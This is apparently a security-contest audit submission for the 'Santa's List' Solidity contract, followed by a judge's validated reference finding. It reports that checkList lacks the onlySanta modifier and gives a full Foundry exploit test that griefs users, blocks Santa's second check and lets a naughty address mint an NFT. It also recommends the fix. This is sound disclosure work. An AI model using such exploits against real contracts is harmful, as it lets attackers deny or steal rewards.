Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
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Submission Details
Severity: high
Valid

checkList has no onlySanta modifier, so anyone can rewrite any address's first-list status to deny eligible users their present, block Santa's checkTwice, and override a first-pass NAUGHTY verdict

Root + Impact

Description

  • The README says that "Only Santa" may call checkList and checkTwice, and the NatSpec of checkList says "Only callable by santa". checkList writes the first list. checkTwice confirms a status only when it matches the first list. collectPresent pays out only when both lists hold the same NICE or EXTRA_NICE status.

  • checkList is external with no access control. The onlySanta modifier exists and is applied to checkTwice, but not here. Because both checkTwice and collectPresent read s_theListCheckedOnce, any caller who writes that mapping controls Santa's confirmation step and every user's eligibility.

// src/SantasList.sol, line 116 (NatSpec of checkList)
* Only callable by santa
​
// src/SantasList.sol, lines 121-124
@> function checkList(address person, Status status) external {
@> s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}
​
// src/SantasList.sol, lines 133-136
function checkTwice(address person, Status status) external onlySanta {
@> if (s_theListCheckedOnce[person] != status) {
revert SantasList__SecondCheckDoesntMatchFirst();
}

Risk

Likelihood:

  • Any address can call checkList at any time for gas only. CheckedTwice events list every address worth targeting.

  • Santa is an EOA, so his checkList and checkTwice are always two separate transactions. Any third-party checkList that lands between them overwrites the first list. Arbitrum's first-come-first-served sequencer makes front-running harder, but overwriting after checkTwice or after Santa's checkList needs no front-running.

Impact:

  • Eligible users are denied their present. Once Santa has checked alice EXTRA_NICE twice, an overwrite of her first list makes collectPresent revert with NotNice, and she receives neither the NFT nor SantaToken. She can restore her entry only through the same unguarded function. The attacker re-denies her whenever an overwrite lands between her restore and her collect.

  • Santa's second pass can be blocked. Any overwrite between his checkList and checkTwice makes checkTwice revert with SecondCheckDoesntMatchFirst, and Santa has no workaround.

  • A user Santa marked NAUGHTY on the first pass can reset himself to NICE. That blocks Santa's checkTwice(NAUGHTY), and he collects an NFT. This works until Santa's checkTwice(NAUGHTY) lands. After that, rewriting the first list no longer helps. Any caller can also emit forged CheckedOnce events.

Proof of Concept

The PoC deploys SantasList as Santa. It uses no ffi and no repo scripts.

  • test_baseline_checkTwiceGuarded_checkListNot: mallory's checkTwice reverts with NotSanta, but the same mallory's checkList succeeds and overwrites alice's entry.

  • test_baseline_extraNiceCollects: the honest flow. alice, checked EXTRA_NICE twice, collects 1 NFT and 1e18 SantaToken.

  • test_limb1_postCheckGriefing_deniesPresent: after Santa checks alice EXTRA_NICE twice, mallory calls checkList(alice, NAUGHTY). alice's collect reverts with NotNice, and she ends with 0 NFTs and 0 SantaToken.

  • test_limb1_restoreAndReGrief: alice restores her entry and mallory re-flips it, so collect reverts again. When alice restores and collects with no transaction in between, she recovers.

  • test_limb2_blocksSantasCheckTwice: Santa calls checkList(carol, NICE), mallory calls checkList(carol, NAUGHTY), and Santa's checkTwice(carol, NICE) reverts.

  • test_limb3_naughtyBobOverridesVerdictAndCollects: Santa marks bob NAUGHTY on the first pass. bob rewrites his entry to NICE, Santa's checkTwice(bob, NAUGHTY) reverts, and bob collects an NFT.

  • test_limb3_boundary_afterCheckTwiceNaughty: once checkTwice(bob, NAUGHTY) has landed, bob's rewrite no longer helps.

  • test_limb4_forgedCheckedOnceEvent: a call by mallory emits CheckedOnce.

File test/PoC_SL-04.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
​
import {Test, console2} from "forge-std/Test.sol";
import {SantasList} from "../src/SantasList.sol";
import {SantaToken} from "../src/SantaToken.sol";
​
/// SL-04: checkList has no onlySanta modifier.
contract PoC_SL04 is Test {
SantasList list;
SantaToken token;
​
address santa = makeAddr("santa");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address carol = makeAddr("carol");
address mallory = makeAddr("mallory");
​
event CheckedOnce(address person, SantasList.Status status);
​
function setUp() public {
vm.prank(santa);
list = new SantasList();
token = SantaToken(list.getSantaToken());
assertEq(list.getSanta(), santa);
}
​
function _christmas() internal {
vm.warp(list.CHRISTMAS_2023_BLOCK_TIME() + 1);
}
​
/// Baseline: checkTwice is Santa-only, but checkList (documented as Santa-only) is not.
function test_baseline_checkTwiceGuarded_checkListNot() public {
vm.prank(mallory);
vm.expectRevert(SantasList.SantasList__NotSanta.selector);
list.checkTwice(alice, SantasList.Status.NICE);
​
// Same caller, the "Only callable by santa" function: succeeds.
vm.prank(mallory);
list.checkList(alice, SantasList.Status.NAUGHTY);
assertEq(uint256(list.getNaughtyOrNiceOnce(alice)), uint256(SantasList.Status.NAUGHTY));
}
​
/// Baseline: honest flow, EXTRA_NICE alice collects NFT + 1e18 SantaToken.
function test_baseline_extraNiceCollects() public {
vm.startPrank(santa);
list.checkList(alice, SantasList.Status.EXTRA_NICE);
list.checkTwice(alice, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
_christmas();
vm.prank(alice);
list.collectPresent();
assertEq(list.balanceOf(alice), 1);
assertEq(token.balanceOf(alice), 1e18);
}
​
/// Limb 1: after Santa checked alice twice, mallory rewrites her first list -> she cannot collect.
function test_limb1_postCheckGriefing_deniesPresent() public {
vm.startPrank(santa);
list.checkList(alice, SantasList.Status.EXTRA_NICE);
list.checkTwice(alice, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.prank(mallory);
list.checkList(alice, SantasList.Status.NAUGHTY);
assertEq(uint256(list.getNaughtyOrNiceOnce(alice)), uint256(SantasList.Status.NAUGHTY));
assertEq(uint256(list.getNaughtyOrNiceTwice(alice)), uint256(SantasList.Status.EXTRA_NICE));
​
_christmas();
vm.prank(alice);
vm.expectRevert(SantasList.SantasList__NotNice.selector);
list.collectPresent();
​
assertEq(list.balanceOf(alice), 0, "alice got no NFT");
assertEq(token.balanceOf(alice), 0, "alice got no SantaToken");
}
​
/// Limb 1 caveat (recoverability) and re-grief: the victim can restore via the same unguarded
/// function, and the attacker can overwrite it again if they land a tx in between.
function test_limb1_restoreAndReGrief() public {
vm.startPrank(santa);
list.checkList(alice, SantasList.Status.EXTRA_NICE);
list.checkTwice(alice, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
_christmas();
​
vm.prank(mallory);
list.checkList(alice, SantasList.Status.NAUGHTY);
​
// alice restores her own entry (only possible because checkList is unguarded)
vm.prank(alice);
list.checkList(alice, SantasList.Status.EXTRA_NICE);
​
// mallory re-flips before alice's collect lands
vm.prank(mallory);
list.checkList(alice, SantasList.Status.NICE);
​
vm.prank(alice);
vm.expectRevert(SantasList.SantasList__NotNice.selector);
list.collectPresent();
assertEq(list.balanceOf(alice), 0);
​
// If alice restores and collects with no tx in between, she recovers (griefing is not permanent).
vm.startPrank(alice);
list.checkList(alice, SantasList.Status.EXTRA_NICE);
list.collectPresent();
vm.stopPrank();
assertEq(list.balanceOf(alice), 1);
assertEq(token.balanceOf(alice), 1e18);
console2.log("alice recovered only by self-writing checkList, the same unguarded function");
}
​
/// Limb 2: between Santa's checkList and checkTwice, anyone rewrites the first list -> checkTwice reverts.
function test_limb2_blocksSantasCheckTwice() public {
vm.prank(santa);
list.checkList(carol, SantasList.Status.NICE);
​
vm.prank(mallory);
list.checkList(carol, SantasList.Status.NAUGHTY);
​
vm.prank(santa);
vm.expectRevert(SantasList.SantasList__SecondCheckDoesntMatchFirst.selector);
list.checkTwice(carol, SantasList.Status.NICE);
​
// Santa's second list for carol was never written (still enum default).
assertEq(uint256(list.getNaughtyOrNiceTwice(carol)), uint256(SantasList.Status.NICE));
assertEq(uint256(list.getNaughtyOrNiceOnce(carol)), uint256(SantasList.Status.NAUGHTY));
}
​
/// Limb 3: Santa marks bob NAUGHTY on the first pass; bob overrides it and collects an NFT.
function test_limb3_naughtyBobOverridesVerdictAndCollects() public {
vm.prank(santa);
list.checkList(bob, SantasList.Status.NAUGHTY);
​
_christmas();
// Baseline: with Santa's first-pass NAUGHTY in place, bob cannot collect.
vm.prank(bob);
vm.expectRevert(SantasList.SantasList__NotNice.selector);
list.collectPresent();
​
// Bob rewrites his own first-list entry.
vm.prank(bob);
list.checkList(bob, SantasList.Status.NICE);
​
// Santa's attempt to confirm NAUGHTY now reverts.
vm.prank(santa);
vm.expectRevert(SantasList.SantasList__SecondCheckDoesntMatchFirst.selector);
list.checkTwice(bob, SantasList.Status.NAUGHTY);
​
// Second list still default NICE -> bob collects an NFT.
vm.prank(bob);
list.collectPresent();
assertEq(list.balanceOf(bob), 1, "naughty bob minted an NFT");
}
​
/// Limb 3 boundary: once Santa's checkTwice(bob, NAUGHTY) has landed, rewriting the first list does not help.
function test_limb3_boundary_afterCheckTwiceNaughty() public {
vm.startPrank(santa);
list.checkList(bob, SantasList.Status.NAUGHTY);
list.checkTwice(bob, SantasList.Status.NAUGHTY);
vm.stopPrank();
​
vm.prank(bob);
list.checkList(bob, SantasList.Status.NICE);
​
_christmas();
vm.prank(bob);
vm.expectRevert(SantasList.SantasList__NotNice.selector);
list.collectPresent();
}
​
/// Limb 4: CheckedOnce events can be emitted by any caller.
function test_limb4_forgedCheckedOnceEvent() public {
vm.expectEmit(address(list));
emit CheckedOnce(alice, SantasList.Status.EXTRA_NICE);
vm.prank(mallory);
list.checkList(alice, SantasList.Status.EXTRA_NICE);
}
}

Run from the repository root:

FOUNDRY_FFI=false FOUNDRY_DISABLE_NIGHTLY_WARNING=1 forge test --match-path test/PoC_SL-04.t.sol -vv

Result:

Ran 8 tests for test/PoC_SL-04.t.sol:PoC_SL04
[PASS] test_baseline_checkTwiceGuarded_checkListNot() (gas: 42423)
[PASS] test_baseline_extraNiceCollects() (gas: 193634)
[PASS] test_limb1_postCheckGriefing_deniesPresent() (gas: 93385)
[PASS] test_limb1_restoreAndReGrief() (gas: 223528)
Logs:
alice recovered only by self-writing checkList, the same unguarded function
​
[PASS] test_limb2_blocksSantasCheckTwice() (gas: 53169)
[PASS] test_limb3_boundary_afterCheckTwiceNaughty() (gas: 55773)
[PASS] test_limb3_naughtyBobOverridesVerdictAndCollects() (gas: 107550)
[PASS] test_limb4_forgedCheckedOnceEvent() (gas: 40020)
Suite result: ok. 8 passed; 0 failed; 0 skipped

Recommended Mitigation

Apply the existing modifier, as the NatSpec and README require.

- function checkList(address person, Status status) external {
+ function checkList(address person, Status status) external onlySanta {
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Anyone is able to call `checkList` function in SantasList contract and prevent any address from becoming `NICE` or `EXTRA_NICE` and collect present.

## Description With the current design of the protocol, anyone is able to call `checkList` function in SantasList contract, while documentation says only Santa should be able to call it. This can be considered as an access control vulnerability, because not only santa is allowed to make the first check. ## Vulnerability Details An attacker could simply call the external `checkList` function, passing as parameter the address of someone else and the enum Status `NAUGHTY`(or `NOT_CHECKED_TWICE`, which should actually be `UNKNOWN` given documentation). By doing that, Santa will not be able to execute `checkTwice` function correctly for `NICE` and `EXTRA_NICE` people. Indeed, if Santa first checked a user and assigned the status `NICE` or `EXTRA_NICE`, anyone is able to call `checkList` function again, and by doing so modify the status. This could result in Santa unable to execute the second check. Moreover, any malicious actor could check the mempool and front run Santa just before calling `checkTwice` function to check users. This would result in a major denial of service issue. ## Impact The impact of this vulnerability is HIGH as it results in a broken mechanism of the check list system. Any user could be declared `NAUGHTY` for the first check at any time, preventing present collecting by users although Santa considered the user as `NICE` or `EXTRA_NICE`. Santa could still call `checkList` function again to reassigned the status to `NICE` or `EXTRA_NICE` before calling `checkTwice` function, but any malicious actor could front run the call to `checkTwice` function. In this scenario, it would be impossible for Santa to actually double check a `NICE` or `EXTRA_NICE` user. ## Proof of Concept Just copy paste this test in SantasListTest contract : ``` function testDosAttack() external { vm.startPrank(makeAddr("attacker")); // any user can checList any address and assigned status to naughty // an attacker could front run Santa before the second check santasList.checkList(makeAddr("user"), SantasList.Status.NAUGHTY); vm.stopPrank(); vm.startPrank(santa); vm.expectRevert(); // Santa is unable to check twice the user santasList.checkTwice(makeAddr("user"), SantasList.Status.NICE); vm.stopPrank(); } ``` ## Recommendations I suggest to add the `onlySanta` modifier to `checkList` function. This will ensure the first check can only be done by Santa, and prevent DOS attack on the contract. With this modifier, specification will be respected : "In this contract Only Santa to take the following actions: - checkList: A function that changes an address to a new Status of NICE, EXTRA_NICE, NAUGHTY, or UNKNOWN on the original s_theListCheckedOnce list." The following code will resolve this access control issue, simply by adding `onlySanta` modifier: ``` function checkList(address person, Status status) external onlySanta { s_theListCheckedOnce[person] = status; emit CheckedOnce(person, status); } ``` No malicious actor is now able to front run Santa before `checkTwice` function call. The following tests shows that doing the first check for another user is impossible after adding `onlySanta` modifier: ``` function testDosResolved() external { vm.startPrank(makeAddr("attacker")); // checklist function call will revert if a user tries to execute the first check for another user vm.expectRevert(SantasList.SantasList__NotSanta.selector); santasList.checkList(makeAddr("user"), SantasList.Status.NAUGHTY); vm.stopPrank(); } ```

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